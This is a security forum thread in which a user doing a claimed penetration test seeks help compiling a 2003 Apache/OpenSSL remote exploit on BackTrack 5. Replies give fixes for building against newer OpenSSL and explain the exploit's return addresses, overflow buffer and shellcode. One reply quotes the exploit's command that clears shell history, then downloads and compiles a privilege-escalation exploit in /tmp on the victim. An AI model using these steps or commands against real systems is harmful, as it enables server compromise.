need help compiling exploit in backtrack5

Viewing 8 reply threads
  • Author
    • #6639

      hi i am doing a pen test and the only vulnerability i can find is in the web server so i found exploit code no problem but it depends on an older version of OpenSSL that is not compatible with backtrack5 i am not very good with GCC so can someone help me compile this exploit in backtrack5 here is the exploit:

      many thanks

    • #41261

      Hi jinwald12,

      First of all I don’t think anyone will help you with this. If you are not sure how to compile something and don’t understand how it works then you should not really be running it. Most security experts will not tell anyone how to run an exploit because you might be using it for unethical reasons.

      The best advice I can really give you is take a look at GCC and try work it out yourself. Or maybe try thinking outside the box see if you can come up with another way in. Remember sometimes the most simplest things can work.

    • #41262

      i understand the problem it is that backtrack uses too modern a version of OpenSSL and this exploit depends on a older version the problem is i do not know exactly what version of OpenSSL it needs or how to specify the proper header file to GCC that is my problem not that i dont know how the exploit works. i just need help locating and specifying the propper header files

    • #41263

      and since i first posted i learned that i need to use the -I directive to specify a external library so now i just need to know what version of OpenSSL it depends on and where i can get it

    • #41264

      I don’t have any experience compiling exploits and this may seem like a really roundabout way of doing it, but couldn’t you take the date the exploit was published  (2003-04-04) and narrow down which version you need?  You know that if the exploit was published April 2003, so the writer couldn’t have used a newer version than that.  You can download openssl tarballs here.

    • #41265

      Analysing the code in detail and the errors when trying to compile the code will help you. The exploit is pretty old (2003) too which will might cause compilation errors when compiling on systems that have updated code such as OpenSSL. When you try and compile the code on BT5 you probably had the errors listed below:

      error: expected specifier-qualifier-list before ‘RC4_KEY’
      In function ‘ssl_connect_host’:
      error: ‘ssl_conn’ has no member named ‘encrypted’

      and: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)

      The first error that mentions RC4_KEY indicates that the exploit code includes RC4 commands but the exploit code has missing RC4 header defined in the code.

      Further down in the code you see instructions for:
      /* session keys */
         unsigned char* read_key;
         unsigned char* write_key;
         RC4_KEY* rc4_read_key;
         RC4_KEY* rc4_write_key;

      and further down in the code:

             MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
             MD5_Update(&ctx, rec, rec_len);
             MD5_Update(&ctx, &seq, 4);
             MD5_Final(p, &ctx);

      Additional info:

      The exploit also downloads another exploit ptrace-kmod.c from the victim machine and compiles it locally:

      wget; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c;

      That URL listed above is no longer valid, but the exploit code is still available at various locations, for example:
      You can download the ptrace-kmod.c exploit locally on your BT5 machine and then host the file using Apache, you would need to modify the exploit code to reflect this though in the wget line. Using the securityfocus URL assumes the following: the victim machine can connect to that URL and also assumes that gcc is installed so that the ptrace-kmod.c exploit can be compiled once downloaded.

      If you modify the exploit code as follows, it should compile fine on BT5, make sure that you have installed the development libraries for SSL (apt-get install libssl-dev) only changes are listed:

      #define COMMAND2 "unset HISTFILE; cd /tmp; wget; gcc -o p ptrace-kmod.c; rm ptrace-k$

      Let me know if this works for you or if you have any questions.

      Good luck!  😉

      PS. tested on both Backtrack 4 and 5

    • #41266

      thanks but when i add that code i get this error messege

      /root/Desktop/development/OpenFuckV2original.c:17:26: error: openssl h=””: No such file or directory
      /root/Desktop/development/OpenFuckV2original.c:25:18: warning: missing terminating ” character
      /root/Desktop/development/OpenFuckV2original.c:664:1: warning: “COMMAND2” redefined
      /root/Desktop/development/OpenFuckV2original.c:25:1: warning: this is the location of the previous definition
      /root/Desktop/development/OpenFuckV2original.c: In function ‘get_server_hello’:
      /root/Desktop/development/OpenFuckV2original.c:1010: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type
      /usr/include/openssl/x509.h:939: note: expected ‘const unsigned char **’ but argument is of type ‘unsigned char **’
      i tried removing the call to openssl h=”” but then i get the old error message

    • #41267

      Just had a look at that exploit code and dam thats alot of code O_0 looks so confusing, what language is it

    • #41268

      @uperkurk wrote:

      Just had a look at that exploit code and dam thats alot of code O_0 looks so confusing, what language is it

      It’s an exploit for a bug in Apache OpenSSL, where a few tools may already have this (exploit) compiled and ready to use. (Hint: Metasploit is one I’d try, or perhaps even the SecurityForest Exploitation Framework.)

      This Exploit:

      Is written in the programming language known as: C

      A quick overview of this code:
      – The 20 first lines are includes (libraries with functions necessary for this “program” to work.)
      – From that and down to the line: “Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)”, it appears to be “Return Addresses” which EIP is overwritten with. (Basically it’s an address in memory where the execution will be forced to.)
      – Near the “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA” part, it’s the buffer to cause this error. A (yes the letter A), is often used to fuzz with. This is especially seen in older buffer overflows.
      – Near “x90x90x90x90” we have the beginning of the actual shellcode it seems, as x90 is a NOP (No Operator / No Instruction, often used for better reliability and stability of the exploit due to different memory layouts on different systems.

      The rest is pretty much crafting a “legitimate” SSL packet and then sending it off, including a “how to use this program”.

      The packet being sent, overflows a buffer, which eventually leads to remote code execution in this scenario.

      I know it’s a very rough breakdown of the exploit, but I hope you gained some new knowledge from my reply  🙂

      If you want some info on how to write buffer overflows there’s various resources, including a video I once made a couple of years ago: (it’s a very simple overflow, but nice for beginners in this area, etc.)


Viewing 8 reply threads
  • You must be logged in to reply to this topic.

Copyright ©2021 Caendra, Inc.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.


Sign in with Caendra

Forgot password?Sign up

Forgot your details?